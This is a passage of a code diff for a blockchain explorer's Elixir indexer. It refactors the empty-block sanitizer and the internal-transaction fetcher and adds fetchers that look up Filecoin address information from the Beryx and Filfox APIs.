Chain.import(%{ - addresses: %{params: merged_addresses_params}, - timeout: :infinity - }) do - {:ok, imported} -> - Accounts.drop(imported[:addresses]) - :ok - - {:error, step, reason, _changes_so_far} -> - Logger.error( - fn -> - [ - "failed to import created_contract_code for transactions: ", - inspect(reason) - ] - end, - step: step - ) + {:ok, %{params_list: params, errors: []}} -> + code_addresses_params = Addresses.extract_addresses(%{codes: params}) + {:ok, code_addresses_params} - {:retry, entries} - end + error -> + error + end + end + + # Fetches balances only for entries + @spec fetch_balances([entry()], keyword()) :: + {:ok, [Address.t()]} | {:error, any()} + defp fetch_balances([], _json_rpc_named_arguments), + do: {:ok, []} + + defp fetch_balances(entries, json_rpc_named_arguments) do + entries + |> Enum.map( + &%{ + block_quantity: integer_to_quantity(&1.block_number), + hash_data: to_string(&1.created_contract_address_hash) + } + ) + |> EthereumJSONRPC.fetch_balances(json_rpc_named_arguments, BlockNumber.get_max()) + |> case do + {:ok, fetched_balances} -> + balance_addresses_params = CoinBalanceHelper.balances_params_to_address_params(fetched_balances.params_list) + {:ok, balance_addresses_params} {:error, reason} -> - Logger.error(fn -> ["failed to fetch contract codes: ", inspect(reason)] end, + Logger.error(fn -> ["failed to fetch contract balances: ", inspect(reason)] end, error_count: Enum.count(entries) ) - {:retry, entries} + {:error, reason} + end + end + + # Imports addresses into the database + @spec import_addresses([Address.t()]) :: + {:ok, [Address.t()]} | {:error, any()} + defp import_addresses(addresses_params) do + case Chain.import(%{ + addresses: %{params: addresses_params}, + timeout: :infinity + }) do + {:ok, %{addresses: addresses}} -> + Accounts.drop(addresses) + {:ok, addresses} + + {:error, step, reason, _changes_so_far} -> + Logger.error( + fn -> + [ + @failed_to_import, + inspect(reason) + ] + end, + step: step + ) + + {:error, reason} + + {:error, reason} -> + Logger.error(fn -> + [ + @failed_to_import, + inspect(reason) + ] + end) + + {:error, reason} end end - defp coin_balances_request_params(entries) do - Enum.map(entries, fn {block_number, created_contract_address_hash_bytes, _transaction_hash_bytes} -> - {:ok, created_contract_address_hash} = Hash.Address.cast(created_contract_address_hash_bytes) + # Filters and verifies Scilla smart contracts for Zilliqa. Contracts are + # identified from transaction attributes and matched with provided addresses, + # then processed asynchronously in the separate fetcher. + @spec zilliqa_verify_scilla_contracts([entry()], [Address.t()]) :: :ok + defp zilliqa_verify_scilla_contracts(entries, addresses) do + zilliqa_contract_address_hashes = + entries + |> Enum.filter(&(ZilliqaHelper.scilla_transaction?(&1.type) and &1.status == :ok)) + |> MapSet.new(& &1.created_contract_address_hash) - %{block_quantity: integer_to_quantity(block_number), hash_data: to_string(created_contract_address_hash)} - end) + addresses + |> Enum.filter(&MapSet.member?(zilliqa_contract_address_hashes, &1.hash)) + |> ZilliqaScillaSmartContractsFetcher.async_fetch(true) end end diff --git a/apps/indexer/lib/indexer/fetcher/empty_blocks_sanitizer.ex b/apps/indexer/lib/indexer/fetcher/empty_blocks_sanitizer.ex index d70c5496fffd..b53ebfe80722 100644 --- a/apps/indexer/lib/indexer/fetcher/empty_blocks_sanitizer.ex +++ b/apps/indexer/lib/indexer/fetcher/empty_blocks_sanitizer.ex @@ -1,21 +1,24 @@ defmodule Indexer.Fetcher.EmptyBlocksSanitizer do @moduledoc """ Periodically checks empty blocks starting from the head of the chain, detects for which blocks transactions should be refetched - and lose consensus for block in order to refetch transactions. + and set refetch_needed=true for block in order to refetch transactions. """ use GenServer - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent require Logger - import Ecto.Query, only: [from: 2, subquery: 1] - import EthereumJSONRPC, only: [integer_to_quantity: 1, json_rpc: 2, request: 1] + import Ecto.Query + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2, quantity_to_integer: 1] - alias Ecto.Changeset - alias Explorer.{Chain, Repo} - alias Explorer.Chain.{Block, Transaction} - alias Explorer.Chain.Import.Runner.Blocks + alias EthereumJSONRPC.Block.ByNumber + alias EthereumJSONRPC.Blocks + alias Explorer.Repo + alias Explorer.Chain.{Block, Hash, PendingOperationsHelper, Transaction} + alias Explorer.Chain.Cache.BlockNumber + + @update_timeout 60_000 @interval :timer.seconds(10) @@ -41,9 +44,11 @@ defmodule Indexer.Fetcher.EmptyBlocksSanitizer do @impl GenServer def init(opts) when is_list(opts) do + interval = Application.get_env(:indexer, __MODULE__)[:interval] + state = %__MODULE__{ json_rpc_named_arguments: Keyword.fetch!(opts, :json_rpc_named_arguments), - interval: opts[:interval] || @interval + interval: interval || @interval } Process.send_after(self(), :sanitize_empty_blocks, state.interval) @@ -68,97 +73,168 @@ defmodule Indexer.Fetcher.EmptyBlocksSanitizer do end defp sanitize_empty_blocks(json_rpc_named_arguments) do - unprocessed_non_empty_blocks_from_db = unprocessed_non_empty_blocks_query_list(limit()) + unprocessed_non_empty_blocks_query = unprocessed_non_empty_blocks_query(limit()) + + Repo.update_all( + from( + block in Block, + where: block.hash in subquery(unprocessed_non_empty_blocks_query) + ), + set: [is_empty: false, updated_at: Timex.now()] + ) - uniq_block_hashes = unprocessed_non_empty_blocks_from_db + unprocessed_empty_blocks_list = unprocessed_empty_blocks_list_query(limit()) - if Enum.count(uniq_block_hashes) > 0 do - Repo.update_all( - from( - block in Block, - where: block.hash in ^uniq_block_hashes - ), - set: [is_empty: false, updated_at: Timex.now()] - ) - end + unless Enum.empty?(unprocessed_empty_blocks_list) do + blocks_response = + unprocessed_empty_blocks_list + |> Enum.map(fn {block_number, _} -> %{number: integer_to_quantity(block_number)} end) + |> id_to_params() + |> Blocks.requests(&ByNumber.request(&1, false, false)) + |> json_rpc(json_rpc_named_arguments) + + case blocks_response do + {:ok, result} -> + {non_empty_blocks, empty_blocks} = classify_blocks_from_result(result) + process_non_empty_blocks(non_empty_blocks) + process_empty_blocks(empty_blocks) - unprocessed_empty_blocks_from_db = unprocessed_empty_blocks_query_list(limit()) - - unprocessed_empty_blocks_from_db - |> Enum.with_index() - |> Enum.each(fn {{block_number, block_hash}, ind} -> - with {:ok, %{"transactions" => transactions}} <- - %{id: ind, method: "eth_getBlockByNumber", params: [integer_to_quantity(block_number), false]} - |> request() - |> json_rpc(json_rpc_named_arguments) do - transactions_count = - transactions - |> Enum.count() - - if transactions_count > 0 do - Logger.info( - "Block with number #{block_number} and hash #{to_string(block_hash)} is full of transactions. We should set consensus=false for it in order to refetch.", + Logger.info("Batch of empty blocks is sanitized", fetcher: :empty_blocks_to_refetch ) - Blocks.invalidate_consensus_blocks([block_number]) - else - Logger.debug( - "Block with number #{block_number} and hash #{to_string(block_hash)} is empty. We should set is_empty=true for it.", + {:error, reason} -> + Logger.error( + "Failed to fetch blocks batch: #{inspect(reason)}", fetcher: :empty_blocks_to_refetch ) + end + end + end - set_is_empty_for_block(block_hash, true) - end + defp classify_blocks_from_result(result) do + result + |> Enum.reduce({[], []}, fn %{id: _id, result: block}, {non_empty_blocks, empty_blocks} -> + if Enum.empty?(block["transactions"]) do + {non_empty_blocks, [block_fields(block) | empty_blocks]} + else + {[block_fields(block) | non_empty_blocks], empty_blocks} end end) + end - Logger.info("Batch of empty blocks is sanitized", + defp block_fields(block) do + %{ + number: quantity_to_integer(block["number"]), + hash: block["hash"], + transactions_count: Enum.count(block["transactions"]) + } + end + + defp process_non_empty_blocks([]), + do: + Logger.debug( + "No non empty blocks found", + fetcher: :empty_blocks_to_refetch + ) + + defp process_non_empty_blocks(non_empty_blocks) do + log_message_base = + Enum.reduce(non_empty_blocks, "Blocks \n", fn block, acc -> + acc <> + " with number #{block.number} and hash #{to_string(block.hash)} contains #{inspect(block.transactions_count)} transactions \n" + end) + + log_message = + log_message_base <> + ", but those blocks are empty in Blockscout DB. Setting refetch_needed = true for it to re-fetch." + + Logger.info( + log_message, fetcher: :empty_blocks_to_refetch ) + + Block.set_refetch_needed(non_empty_blocks |> Enum.map(& &1.number)) end - defp set_is_empty_for_block(block_hash, is_empty) do - block = Chain.fetch_block_by_hash(block_hash) + defp process_empty_blocks([]), + do: + Logger.debug( + "No empty blocks found", + fetcher: :empty_blocks_to_refetch + ) - block_with_is_empty = - block - |> Changeset.change(%{is_empty: is_empty}) + defp process_empty_blocks(empty_blocks) do + log_message = + "Block with numbers #{inspect(empty_blocks |> Enum.map(& &1.number))} are empty. We're setting is_empty=true for them." - Repo.update(block_with_is_empty) + Logger.debug( + log_message, + fetcher: :empty_blocks_to_refetch + ) + + mark_blocks_as_empty(empty_blocks |> Enum.map(& &1.hash)) + end + + @spec mark_blocks_as_empty([Hash.Full.t()]) :: + {non_neg_integer(), nil | [term()]} | {:error, %{exception: Postgrex.Error.t()}} + defp mark_blocks_as_empty(block_hashes) do + query = + from( + block in Block, + where: block.hash in ^block_hashes, + # Enforce Block ShareLocks order (see docs: sharelocks.md) + order_by: [asc: block.hash], + lock: "FOR NO KEY UPDATE" + ) + + Repo.update_all( + from(b in Block, join: s in subquery(query), on: b.hash == s.hash, select: b.number), + [set: [is_empty: true, updated_at: Timex.now()]], + timeout: @update_timeout + ) + + case PendingOperationsHelper.pending_operations_type() do + "blocks" -> + block_hashes + |> PendingOperationsHelper.block_hash_in_query() + |> Repo.delete_all() + + "transactions" -> + :ok + end rescue postgrex_error in Postgrex.Error -> {:error, %{exception: postgrex_error}} end + @head_offset 1000 defp consensus_blocks_with_nil_is_empty_query(limit) do + safe_block_number = BlockNumber.get_max() - @head_offset + from(block in Block, where: is_nil(block.is_empty), + where: block.number <= ^safe_block_number, where: block.consensus == true, + where: block.refetch_needed == false, order_by: [asc: block.hash], - limit: ^limit, - offset: 1000, - lock: "FOR UPDATE" + limit: ^limit ) end - defp unprocessed_non_empty_blocks_query_list(limit) do + defp unprocessed_non_empty_blocks_query(limit) do blocks_query = consensus_blocks_with_nil_is_empty_query(limit) - query = - from(q in subquery(blocks_query), - inner_join: transaction in Transaction, - on: q.number == transaction.block_number, - select: q.hash, - distinct: q.hash, - order_by: [asc: q.hash] - ) - - query - |> Repo.all(timeout: :infinity) + from(q in subquery(blocks_query), + inner_join: transaction in Transaction, + on: q.number == transaction.block_number, + select: q.hash, + order_by: [asc: q.hash], + lock: fragment("FOR NO KEY UPDATE OF ?", q) + ) end - defp unprocessed_empty_blocks_query_list(limit) do + defp unprocessed_empty_blocks_list_query(limit) do blocks_query = consensus_blocks_with_nil_is_empty_query(limit) query = @@ -167,6 +243,7 @@ defmodule Indexer.Fetcher.EmptyBlocksSanitizer do on: q.number == transaction.block_number, where: is_nil(transaction.block_number), select: {q.number, q.hash}, + distinct: q.number, order_by: [asc: q.hash] ) diff --git a/apps/indexer/lib/indexer/fetcher/filecoin/address_info.ex b/apps/indexer/lib/indexer/fetcher/filecoin/address_info.ex new file mode 100644 index 000000000000..3317b17c1510 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/filecoin/address_info.ex @@ -0,0 +1,401 @@ +defmodule Indexer.Fetcher.Filecoin.AddressInfo do + @moduledoc """ + A task for fetching Filecoin addresses info in the Address table using the + Beryx API. + + Due to the lack of batch support in the API, addresses are fetched + individually, making this fetching an expensive operation. + """ + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Ecto.Multi + alias Explorer.Chain.Address + alias Explorer.Repo + alias Indexer.{BufferedTask, Tracer} + alias Indexer.Fetcher.Filecoin.AddressInfo.Supervisor, as: FilecoinAddressInfoSupervisor + alias Indexer.Fetcher.Filecoin.{BeryxAPI, FilfoxAPI} + + alias Explorer.Chain.Filecoin.{ + NativeAddress, + PendingAddressOperation + } + + require Logger + + @http_error_codes 400..526 + + @batch_size 1 + + @behaviour BufferedTask + + @type filecoin_address_params :: %{ + filecoin_id: String.t(), + filecoin_robust: String.t(), + filecoin_actor_type: String.t() | nil + } + + @actor_type_renaming %{ + "storagemarket" => "market", + "storageminer" => "miner", + "storagepower" => "power", + "verifiedregistry" => "verifreg" + } + + @doc """ + Asynchronously fetches filecoin addresses info + """ + @spec async_fetch([PendingAddressOperation.t()], boolean(), integer()) :: :ok + def async_fetch(pending_operations, realtime?, timeout \\ 5000) + when is_list(pending_operations) do + if FilecoinAddressInfoSupervisor.disabled?() do + :ok + else + unique_operations = + Enum.uniq_by( + pending_operations, + &to_string(&1.address_hash) + ) + + BufferedTask.buffer(__MODULE__, unique_operations, realtime?, timeout) + end + end + + @doc false + def child_spec([init_options, gen_server_options]) do + {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + unless state do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec` " <> + "to allow for json_rpc calls when running." + end + + merged_init_opts = + defaults() + |> Keyword.merge(mergeable_init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec( + { + BufferedTask, + [{__MODULE__, merged_init_opts}, gen_server_options] + }, + id: __MODULE__ + ) + end + + @doc false + @spec defaults() :: Keyword.t() + def defaults do + env = Application.get_env(:indexer, __MODULE__) + + [ + poll: false, + flush_interval: :timer.seconds(30), + max_concurrency: env[:concurrency], + max_batch_size: @batch_size, + task_supervisor: __MODULE__.TaskSupervisor, + metadata: [fetcher: :filecoin_address_info] + ] + end + + @doc false + @impl BufferedTask + def init(initial, reducer, _json_rpc_named_arguments) do + {:ok, final} = + PendingAddressOperation.stream( + initial, + fn op, acc -> reducer.(op, acc) end + ) + + final + end + + @doc """ + Fetches the Filecoin address info for the given pending operation. + """ + @impl BufferedTask + @decorate trace( + name: "fetch", + resource: "Indexer.Fetcher.InternalTransaction.run/2", + service: :indexer, + tracer: Tracer + ) + @spec run( + [PendingAddressOperation.t()], + EthereumJSONRPC.json_rpc_named_arguments() + ) :: + :ok | :retry + def run([operation], json_rpc_named_arguments) do + with true <- PendingAddressOperation.exists?(operation), + {:ok, completeness, params} <- fetch(operation, json_rpc_named_arguments), + {:ok, _} <- + update_address_and_remove_or_update_operation( + operation, + completeness, + params + ) do + :ok + else + false -> + Logger.info("Pending address operation was already processed: #{to_string(operation.address_hash)}") + :ok + + _ -> + Logger.error("Could not fetch Filecoin address info: #{to_string(operation.address_hash)}") + # TODO: We should consider implementing retry logic when fetching + # becomes more stable + :ok + end + end + + @spec fetch( + PendingAddressOperation.t(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: + {:ok, :full, filecoin_address_params()} + | {:ok, :partial, filecoin_address_params()} + | :error + defp fetch( + %PendingAddressOperation{address_hash: address_hash} = operation, + json_rpc_named_arguments + ) do + eth_address_hash_string = to_string(address_hash) + {:ok, native_address} = NativeAddress.cast(address_hash) + + strategies = [ + fn -> + Logger.info("Fetching Filecoin address info for #{eth_address_hash_string} using Beryx API") + full_fetch_address_info_using_beryx_api(operation) + end, + fn -> + Logger.info("Fetching Filecoin address info for #{eth_address_hash_string} using Filfox API") + full_fetch_address_info_using_filfox_api(operation) + end, + fn -> + Logger.info("Fetching partial Filecoin address info for #{eth_address_hash_string} using JSON-RPC") + partial_fetch_address_info_using_json_rpc(native_address, json_rpc_named_arguments) + end, + fn -> + Logger.info("Deriving partial Filecoin address info for #{eth_address_hash_string}") + partial_derive_address_info(native_address) + end + ] + + Enum.reduce_while( + strategies, + :error, + fn strategy, _ -> + case strategy.() do + {:ok, _completeness, _params} = result -> {:halt, result} + :error -> {:cont, :error} + end + end + ) + end + + @spec full_fetch_address_info_using_beryx_api(PendingAddressOperation.t()) :: + {:ok, :full, filecoin_address_params()} | :error + defp full_fetch_address_info_using_beryx_api(operation) do + with {:ok, body_json} <- operation.address_hash |> to_string() |> BeryxAPI.fetch_address_info(), + {:ok, id_address_string} <- Map.fetch(body_json, "short"), + {:ok, maybe_robust_address_string} <- Map.fetch(body_json, "robust"), + {:ok, maybe_actor_type_string} <- Map.fetch(body_json, "actor_type") do + robust_address_string = + if maybe_robust_address_string in ["", ""] do + operation.address_hash + |> NativeAddress.cast() + |> case do + {:ok, native_address} -> to_string(native_address) + _ -> nil + end + else + maybe_robust_address_string + end + + actor_type_string = + maybe_actor_type_string + |> case do + "" -> nil + actor_type -> actor_type + end + |> rename_actor_type() + + {:ok, :full, + %{ + filecoin_id: id_address_string, + filecoin_robust: robust_address_string, + filecoin_actor_type: actor_type_string + }} + else + {:error, status_code, %{"error" => reason}} when status_code in @http_error_codes -> + Logger.error("Beryx API returned error code #{status_code} with reason: #{reason}") + :error + + error -> + Logger.error("Error processing Beryx API response: #{inspect(error)}") + :error + end + end + + @spec full_fetch_address_info_using_filfox_api(PendingAddressOperation.t()) :: + {:ok, :full, filecoin_address_params()} | :error + defp full_fetch_address_info_using_filfox_api(operation) do + with {:ok, body_json} <- operation.address_hash |> to_string() |> FilfoxAPI.fetch_address_info(), + Logger.info("Filfox API response: #{inspect(body_json)}"), + {:ok, id_address_string} <- Map.fetch(body_json, "id"), + {:ok, actor_type_string} <- Map.fetch(body_json, "actor") do + renamed_actor_type = rename_actor_type(actor_type_string) + + {:ok, :full, + %{ + filecoin_id: id_address_string, + filecoin_robust: Map.get(body_json, "robust", id_address_string), + filecoin_actor_type: renamed_actor_type + }} + else + {:error, status_code, %{"error" => reason}} when status_code in @http_error_codes -> + Logger.error("Filfox API returned error code #{status_code} with reason: #{reason}") + :error + + error -> + Logger.error("Error processing Filfox API response: #{inspect(error)}") + :error + end + end + + defp rename_actor_type(actor_type) do + Map.get(@actor_type_renaming, actor_type, actor_type) + end + + @spec partial_fetch_address_info_using_json_rpc( + NativeAddress.t(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: + {:ok, :partial, filecoin_address_params()} | :error + defp partial_fetch_address_info_using_json_rpc(native_address, json_rpc_named_arguments) do + with %NativeAddress{protocol_indicator: 0} = id_address <- native_address, + id_address_string = to_string(id_address), + request = + EthereumJSONRPC.request(%{ + id: 1, + method: "Filecoin.StateAccountKey", + params: [id_address_string, nil] + }), + {:ok, robust_address_string} when is_binary(robust_address_string) <- + EthereumJSONRPC.json_rpc(request, json_rpc_named_arguments) do + {:ok, :partial, + %{ + filecoin_id: id_address_string, + filecoin_robust: robust_address_string, + filecoin_actor_type: nil + }} + else + %NativeAddress{} -> + Logger.error("Could not fetch address info using JSON RPC: not ID address") + :error + + error -> + Logger.error("Could not fetch address info using JSON RPC: #{inspect(error)}") + :error + end + end + + @spec partial_derive_address_info(NativeAddress.t()) :: {:ok, :partial, filecoin_address_params()} + defp partial_derive_address_info(native_address) do + case native_address do + %NativeAddress{protocol_indicator: 0} -> + {:ok, :partial, + %{ + filecoin_id: to_string(native_address), + filecoin_robust: nil, + filecoin_actor_type: nil + }} + + %NativeAddress{protocol_indicator: 4, actor_id: 10} -> + {:ok, :partial, + %{ + filecoin_id: nil, + filecoin_robust: to_string(native_address), + filecoin_actor_type: nil + }} + + _ -> + :error + end + end + + @spec update_address_and_remove_or_update_operation( + PendingAddressOperation.t(), + :full | :partial, + filecoin_address_params() + ) :: + {:ok, PendingAddressOperation.t()} + | {:error, Ecto.Changeset.t()} + | Ecto.Multi.failure() + defp update_address_and_remove_or_update_operation( + %PendingAddressOperation{} = operation, + completeness, + new_address_params + ) do + Multi.new() + |> Multi.run( + :acquire_address, + fn repo, _ -> + case repo.get_by( + Address, + [hash: operation.address_hash], + lock: "FOR UPDATE" + ) do + nil -> {:error, :not_found} + address -> {:ok, address} + end + end + ) + |> Multi.run( + :acquire_pending_address_operation, + fn repo, _ -> + case repo.get_by( + PendingAddressOperation, + [address_hash: operation.address_hash], + lock: "FOR UPDATE" + ) do + nil -> {:error, :not_found} + pending_operation -> {:ok, pending_operation} + end + end + ) + |> Multi.run( + :update_address, + fn repo, %{acquire_address: address} -> + address + |> Address.changeset(new_address_params) + |> repo.update() + end + ) + |> Multi.run( + :delete_pending_operation, + fn repo, %{acquire_pending_address_operation: operation} -> + case completeness do + :full -> + repo.delete(operation) + + :partial -> + # TODO: Implement proper calculation of `refetch_after` when retry + # logic is implemented + operation + |> PendingAddressOperation.changeset(%{ + refetch_after: DateTime.utc_now() + }) + |> repo.update() + end + end + ) + |> Repo.transaction() + |> tap(fn + {:ok, _} -> :ok + error -> Logger.error("Error updating address and removing pending operation: #{inspect(error)}") + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/filecoin/beryx_api.ex b/apps/indexer/lib/indexer/fetcher/filecoin/beryx_api.ex new file mode 100644 index 000000000000..0d2515b266f8 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/filecoin/beryx_api.ex @@ -0,0 +1,49 @@ +defmodule Indexer.Fetcher.Filecoin.BeryxAPI do + @moduledoc """ + Interacts with the Beryx API to fetch account information based on an Ethereum + address hash + """ + + alias Explorer.{Helper, HttpClient} + + @doc """ + Fetches account information for a given Ethereum address hash from the Beryx API. + + ## Parameters + - `eth_address_hash` - The Ethereum address hash to fetch information for. + + ## Returns + - `{:ok, map()}`: On success, returns the account information as a map. + - `{:error, integer(), map()}`: On failure, returns the HTTP status code and the error message as a map. + - `{:error, any()}`: On network or other HTTP errors, returns the error reason. + """ + @spec fetch_address_info(EthereumJSONRPC.address()) :: + {:ok, map()} + | {:error, integer(), map()} + | {:error, any()} + def fetch_address_info(eth_address_hash) do + config = Application.get_env(:indexer, __MODULE__) + base_url = config |> Keyword.get(:base_url) |> String.trim_trailing("/") + api_token = config[:api_token] + + url = "#{base_url}/account/info/#{eth_address_hash}" + + headers = [ + {"Authorization", "Bearer #{api_token}"}, + {"Content-Type", "application/json"} + ] + + case HttpClient.get(url, headers) do + {:ok, %{body: body, status_code: 200}} -> + json = Helper.decode_json(body) + {:ok, json} + + {:ok, %{body: body, status_code: status_code}} -> + json = Helper.decode_json(body) + {:error, status_code, json} + + error -> + error + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/filecoin/filfox_api.ex b/apps/indexer/lib/indexer/fetcher/filecoin/filfox_api.ex new file mode 100644 index 000000000000..bcfb59de4b0b --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/filecoin/filfox_api.ex @@ -0,0 +1,47 @@ +defmodule Indexer.Fetcher.Filecoin.FilfoxAPI do + @moduledoc """ + Interacts with the Filfox API to fetch account information based on an Ethereum + address hash + """ + + alias Explorer.{Helper, HttpClient} + + @doc """ + Fetches account information for a given Ethereum address hash from the Filfox API. + + ## Parameters + - `eth_address_hash` - The Ethereum address hash to fetch information for. + + ## Returns + - `{:ok, map()}`: On success, returns the account information as a map. + - `{:error, integer(), map()}`: On failure, returns the HTTP status code and the error message as a map. + - `{:error, any()}`: On network or other HTTP errors, returns the error reason. + """ + @spec fetch_address_info(EthereumJSONRPC.address()) :: + {:ok, map()} + | {:error, integer(), map()} + | {:error, any()} + def fetch_address_info(eth_address_hash) do + config = Application.get_env(:indexer, __MODULE__) + base_url = config |> Keyword.get(:base_url) |> String.trim_trailing("/") + + url = "#{base_url}/address/#{eth_address_hash}" + + headers = [ + {"Content-Type", "application/json"} + ] + + case HttpClient.get(url, headers) do + {:ok, %{body: body, status_code: 200}} -> + json = Helper.decode_json(body) + {:ok, json} + + {:ok, %{body: body, status_code: status_code}} -> + json = Helper.decode_json(body) + {:error, status_code, json} + + error -> + error + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/internal_transaction.ex b/apps/indexer/lib/indexer/fetcher/internal_transaction.ex index 84ad148cd3a4..a3f0027ec522 100644 --- a/apps/indexer/lib/indexer/fetcher/internal_transaction.ex +++ b/apps/indexer/lib/indexer/fetcher/internal_transaction.ex @@ -1,3 +1,4 @@ +# credo:disable-for-this-file defmodule Indexer.Fetcher.InternalTransaction do @moduledoc """ Fetches and indexes `t:Explorer.Chain.InternalTransaction.t/0`. @@ -5,32 +6,32 @@ defmodule Indexer.Fetcher.InternalTransaction do See `async_fetch/1` for details on configuring limits. """ - use Indexer.Fetcher + use Indexer.Fetcher, restart: :permanent use Spandex.Decorators require Logger - import Indexer.Block.Fetcher, only: [async_import_coin_balances: 2] + import Indexer.Block.Fetcher, + only: [ + async_import_coin_balances: 2, + async_import_token_balances: 2, + token_transfers_merge_token: 2 + ] + alias EthereumJSONRPC.Utility.RangesHelper alias Explorer.Chain - alias Explorer.Chain.Block + alias Explorer.Chain.{Block, Hash, PendingBlockOperation, PendingTransactionOperation, Transaction} alias Explorer.Chain.Cache.{Accounts, Blocks} + alias Explorer.Chain.Zilliqa.Helper, as: ZilliqaHelper alias Indexer.{BufferedTask, Tracer} alias Indexer.Fetcher.InternalTransaction.Supervisor, as: InternalTransactionSupervisor - alias Indexer.Transform.Addresses + alias Indexer.Transform.Celo.TransactionTokenTransfers, as: CeloTransactionTokenTransfers + alias Indexer.Transform.{AddressCoinBalances, Addresses, AddressTokenBalances} @behaviour BufferedTask - @max_batch_size 10 - @max_concurrency 4 - @defaults [ - flush_interval: :timer.seconds(3), - max_concurrency: @max_concurrency, - max_batch_size: @max_batch_size, - poll: true, - task_supervisor: Indexer.Fetcher.InternalTransaction.TaskSupervisor, - metadata: [fetcher: :internal_transaction] - ] + @default_max_batch_size 10 + @default_max_concurrency 4 @doc """ Asynchronously fetches internal transactions. @@ -40,20 +41,30 @@ defmodule Indexer.Fetcher.InternalTransaction do Internal transactions are an expensive upstream operation. The number of results to fetch is configured by `@max_batch_size` and represents the number of transaction hashes to request internal transactions in a single JSONRPC - request. Defaults to `#{@max_batch_size}`. + request. Defaults to `#{@default_max_batch_size}`. The `@max_concurrency` attribute configures the number of concurrent requests - of `@max_batch_size` to allow against the JSONRPC. Defaults to `#{@max_concurrency}`. + of `@max_batch_size` to allow against the JSONRPC. Defaults to `#{@default_max_concurrency}`. *Note*: The internal transactions for individual transactions cannot be paginated, so the total number of internal transactions that could be produced is unknown. """ - @spec async_fetch([Block.block_number()]) :: :ok - def async_fetch(block_numbers, timeout \\ 5000) when is_list(block_numbers) do + @spec async_fetch([Block.block_number()], [Transaction.t()], boolean()) :: :ok + def async_fetch(block_numbers, transactions, realtime?, timeout \\ 5000) when is_list(block_numbers) do if InternalTransactionSupervisor.disabled?() do :ok else - BufferedTask.buffer(__MODULE__, block_numbers, timeout) + data = data_for_buffer(block_numbers, transactions) + BufferedTask.buffer(__MODULE__, data, realtime?, timeout) + end + end + + defp data_for_buffer(block_numbers, transactions) do + json_rpc_named_arguments = Application.get_env(:indexer, :json_rpc_named_arguments) + + case queue_data_type(json_rpc_named_arguments) do + :block_number -> block_numbers + :transaction_params -> Enum.map(transactions, &Map.take(&1, [:block_number, :hash, :index])) end end @@ -68,7 +79,7 @@ defmodule Indexer.Fetcher.InternalTransaction do end merged_init_opts = - @defaults + defaults() |> Keyword.merge(mergeable_init_options) |> Keyword.put(:state, state) @@ -76,11 +87,17 @@ defmodule Indexer.Fetcher.InternalTransaction do end @impl BufferedTask - def init(initial, reducer, _json_rpc_named_arguments) do + def init(initial, reducer, json_rpc_named_arguments) do + stream_reducer = RangesHelper.stream_reducer_traceable(reducer) + {:ok, final} = - Chain.stream_blocks_with_unfetched_internal_transactions(initial, fn block_number, acc -> - reducer.(block_number, acc) - end) + case queue_data_type(json_rpc_named_arguments) do + :block_number -> + PendingBlockOperation.stream_blocks_with_unfetched_internal_transactions(initial, stream_reducer) + + :transaction_params -> + PendingTransactionOperation.stream_transactions_with_unfetched_internal_transactions(initial, stream_reducer) + end final end @@ -96,49 +113,137 @@ defmodule Indexer.Fetcher.InternalTransaction do service: :indexer, tracer: Tracer ) - def run(block_numbers, json_rpc_named_arguments) do - unique_numbers = Enum.uniq(block_numbers) - filtered_unique_numbers = EthereumJSONRPC.block_numbers_in_range(unique_numbers) + def run(block_numbers_or_transactions, json_rpc_named_arguments) do + data_type = queue_data_type(json_rpc_named_arguments) + filtered_data = filter_block_numbers(block_numbers_or_transactions, data_type, json_rpc_named_arguments) + + case fetch_internal_transactions(filtered_data, json_rpc_named_arguments, data_type) do + {:ok, internal_transactions_params} -> + safe_import_internal_transaction(internal_transactions_params, filtered_data, data_type) + + {:error, reason} -> + Logger.error( + fn -> + [ + "failed to fetch internal transactions for #{data_type} #{inspect(filtered_data)}: ", + Exception.format(:error, reason) + ] + end, + error_count: Enum.count(filtered_data) + ) - filtered_unique_numbers_count = Enum.count(filtered_unique_numbers) - Logger.metadata(count: filtered_unique_numbers_count) + handle_not_found_transaction(reason) - Logger.debug("fetching internal transactions for blocks") + # re-queue the de-duped entries + {:retry, filtered_data} - json_rpc_named_arguments - |> Keyword.fetch!(:variant) - |> case do - EthereumJSONRPC.Parity -> - EthereumJSONRPC.fetch_block_internal_transactions(filtered_unique_numbers, json_rpc_named_arguments) + {:error, reason, stacktrace} -> + Logger.error( + fn -> + [ + "failed to fetch internal transactions for #{data_type} #{inspect(filtered_data)}: ", + Exception.format(:error, reason, stacktrace) + ] + end, + error_count: Enum.count(filtered_data) + ) + + handle_not_found_transaction(reason) + + # re-queue the de-duped entries + {:retry, filtered_data} - EthereumJSONRPC.Erigon -> - EthereumJSONRPC.fetch_block_internal_transactions(filtered_unique_numbers, json_rpc_named_arguments) + :ignore -> + :ok + end + end - EthereumJSONRPC.Besu -> - EthereumJSONRPC.fetch_block_internal_transactions(filtered_unique_numbers, json_rpc_named_arguments) + defp fetch_internal_transactions(block_numbers_or_transactions, json_rpc_named_arguments, data_type) do + Logger.metadata(count: Enum.count(block_numbers_or_transactions)) + + case data_type do + :block_number -> + Logger.debug("fetching internal transactions by blocks") + + block_numbers_or_transactions + |> check_and_filter_block_numbers() + |> fetch_block_internal_transactions(json_rpc_named_arguments) + + :transaction_params -> + Logger.debug("fetching internal transactions by transactions") - _ -> try do - fetch_block_internal_transactions_by_transactions(filtered_unique_numbers, json_rpc_named_arguments) + block_numbers_or_transactions + |> check_and_filter_transactions() + |> fetch_internal_transactions_by_transactions(json_rpc_named_arguments) rescue error -> - {:error, error} + {:error, error, __STACKTRACE__} end end - |> case do - {:ok, internal_transactions_params} -> - import_internal_transaction(internal_transactions_params, filtered_unique_numbers) + end - {:error, reason} -> - Logger.error(fn -> ["failed to 